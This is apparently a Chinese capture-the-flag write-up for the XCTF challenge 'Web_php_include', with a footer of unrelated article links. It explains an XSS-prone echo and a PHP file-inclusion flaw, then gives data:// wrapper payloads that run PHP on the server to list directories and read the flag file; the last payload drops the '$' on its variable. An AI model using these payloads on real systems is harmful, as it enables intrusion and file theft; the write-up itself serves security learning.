32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
北京宇音天下5 分钟前
解锁头盔新形态|SYN8089中英TTS语音芯片加持,让安全与便捷“声”入人心
安全
玄米乌龙茶1237 分钟前
思维导图笔记:模型微调技术
笔记
hhb_6189 分钟前
GraphQL实战避坑指南:性能与安全优化
数据库·安全·graphql
叶~小兮21 分钟前
Jenkins构建生产CICD环境学习笔记
笔记·学习·jenkins
暴躁小师兄数据学院22 分钟前
【AI大模型应用开发工程师特训笔记】第04讲(第4章):运算符
人工智能·笔记·机器学习
zycoder.26 分钟前
rabbitmq学习demo,包含普通消息,TTL+死信队列,topic交换机三种情况,以项目形式讲解
分布式·学习·rabbitmq
问心无愧051332 分钟前
ctf show web 入门258
android·前端·笔记
星夜夏空9943 分钟前
STM32单片机学习(34) —— ADC实验: ADC规则组配合DMA实现自动化转运
stm32·单片机·学习
24kmaigc44 分钟前
NewStarCTF2025-ssti在哪里?-ssrf与ssti注入
python·网络安全·flask·web
生活爱好者!1 小时前
用NAS进行漫画创作!一键部署Open WebUI
java·服务器·开发语言·安全·docker